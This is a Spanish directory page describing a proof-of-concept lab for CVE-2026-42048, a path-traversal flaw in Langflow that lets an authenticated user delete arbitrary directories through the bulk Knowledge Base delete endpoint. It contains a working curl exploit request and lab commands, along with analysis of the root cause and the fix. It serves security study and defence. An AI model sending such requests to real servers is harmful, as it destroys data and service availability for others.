Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42048 — Langflow Eliminación Arbitraria de Directorios | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2026-42048
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow Eliminación Arbitraria de Directorios

Ver Repositorio
22hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42048

PoC de CVE-2026-42048 Langflow Path Traversal / Eliminación Arbitraria de Directorios

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


Descripción

CVE-2026-42048: Vulnerabilidad de Eliminación Arbitraria de Directorios en Langflow

Descripción: una vulnerabilidad de path traversal en Langflow anterior a 1.9.0 permite a un atacante autenticado eliminar directorios fuera de la ruta de almacenamiento prevista de Knowledge Bases mediante el endpoint de eliminación masiva, DELETE /api/v1/knowledge_bases. El problema ocurre porque los valores kb_names controlados por el usuario se utilizan para construir rutas del sistema de archivos sin una normalización y validación de contención adecuadas.


Precondiciones

Para una explotación exitosa se requieren las siguientes condiciones:

  • El objetivo está ejecutando una versión vulnerable de Langflow, anterior a 1.9.0.
  • El atacante puede acceder al endpoint de eliminación masiva de Knowledge Bases:
root@kitploit:~
DELETE /api/v1/knowledge_bases
Descargar herramienta
  • El atacante está autenticado o puede realizar solicitudes API autenticadas de otro modo. Los avisos públicos describen este problema como de bajos privilegios (PR:L).
  • El atacante puede controlar el parámetro kb_names del cuerpo de la solicitud.
  • El proceso de Langflow tiene permisos del sistema de archivos para eliminar el directorio objetivo.

Esta vulnerabilidad no elude los permisos de archivos del sistema operativo. Abusa del manejo de rutas y de la lógica de eliminación propios de Langflow.


Configuración del Laboratorio

Construya y ejecute el entorno vulnerable usando Docker:

Construir Imagen

root@kitploit:~
docker build -t cve-2026-42048 .

Ejecutar Contenedor

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

Verificar Estado

root@kitploit:~
curl http://127.0.0.1:9101/status

El laboratorio crea un directorio objetivo desechable en:

root@kitploit:~
/target/CVE-2026-42048

El endpoint /status informa si ese directorio todavía existe.


Cómo usar

Explotar con PoC

root@kitploit:~
python3 poc.py

Entrada interactiva:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

Explotar con curl

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

Verificar Resultado

root@kitploit:~
curl http://127.0.0.1:9101/status

Si la explotación tiene éxito, target_exists cambia de true a false.


Análisis

Endpoint vulnerable

root@kitploit:~
DELETE /api/v1/knowledge_bases

La vulnerabilidad existe en la API de eliminación masiva de Knowledge Bases de Langflow. El controlador afectado acepta una lista de nombres de Knowledge Bases mediante el parámetro kb_names y utiliza cada valor para construir una ruta del sistema de archivos para la eliminación.

En las versiones vulnerables, la lógica de eliminación masiva construye la ruta manualmente en lugar de usar el ayudante de resolución de rutas más seguro que emplean otros endpoints de Knowledge Bases. Una representación simplificada del patrón vulnerable es:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

El ayudante de eliminación finalmente elimina el directorio objetivo con lógica de eliminación recursiva. Debido a que kb_name está controlado por el atacante, secuencias de path traversal como ../ pueden escapar del directorio de Knowledge Bases del usuario actual. En pathlib de Python, una ruta absoluta proporcionada en el lado derecho también puede sobrescribir los componentes de ruta anteriores:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

Como resultado, un valor kb_names manipulado puede hacer que Langflow elimine un directorio fuera de la raíz de almacenamiento prevista de Knowledge Bases, siempre que el proceso de Langflow tenga permiso para eliminar ese directorio.

Este es un problema CWE-22: Limitación Incorrecta de un Nombre de Ruta a un Directorio Restringido.

Causa Raíz Técnica

La causa raíz es una normalización insuficiente y una validación de límites deficiente de los componentes de ruta controlados por el usuario antes de la eliminación recursiva. El endpoint de eliminación masiva vulnerable comprueba si la ruta final existe, pero no garantiza que la ruta resuelta permanezca dentro del directorio de Knowledge Bases del usuario autenticado.

Una corrección sólida debe:

  • normalizar la ruta final con Path.resolve()
  • garantizar que la ruta resuelta siga estando dentro del directorio de Knowledge Bases del usuario autenticado
  • rechazar las rutas que escapen de ese directorio antes de la eliminación

Langflow corrigió este problema en 1.9.0.

Por Qué Esto Importa

La eliminación arbitraria de directorios puede afectar directamente la integridad y la disponibilidad. Dependiendo de los permisos de implementación y la disposición del sistema de archivos, un atacante podría:

  • eliminar los datos de Knowledge Bases de otro usuario
  • remover directorios propiedad de la aplicación
  • interrumpir el estado de ejecución de Langflow
  • causar pérdida de datos o interrupción del servicio

Este problema no requiere ejecución arbitraria de código para ser dañino. La eliminación recursiva con privilegios de la aplicación es suficiente para dañar datos y disponibilidad.


Escenario

root@kitploit:~
+-------------------------------------------+
|              Authenticated User           |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | Unsafe path construction
                      v
+-------------------------------------------+
|   Path Escapes Intended KB User Directory |
+-------------------------------------------+
                      |
                      | Recursive directory deletion
                      v
+-------------------------------------------+
|        Arbitrary Directory Deletion       |
+-------------------------------------------+

Notas del Laboratorio

Este laboratorio expone un pequeño proxy de desafío en el puerto 9101. El proxy mantiene ocultos la interfaz completa de Langflow y el puerto directo del backend, mientras reenvía solo la ruta mínima de la API vulnerable necesaria para este ejercicio.

El directorio objetivo del laboratorio es:

root@kitploit:~
/target/CVE-2026-42048

El endpoint /status se puede usar para confirmar que el directorio objetivo ha sido eliminado.


Limpieza

root@kitploit:~
docker stop cve-2026-42048

Descargo de Responsabilidad

Este repositorio no está destinado a facilitar la explotación no autorizada de instancias de Langflow. El propósito de este proyecto es ayudar a investigadores de seguridad, defensores y desarrolladores a comprender la vulnerabilidad, validar la exposición en entornos controlados y aplicar mitigaciones efectivas.


Referencias

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow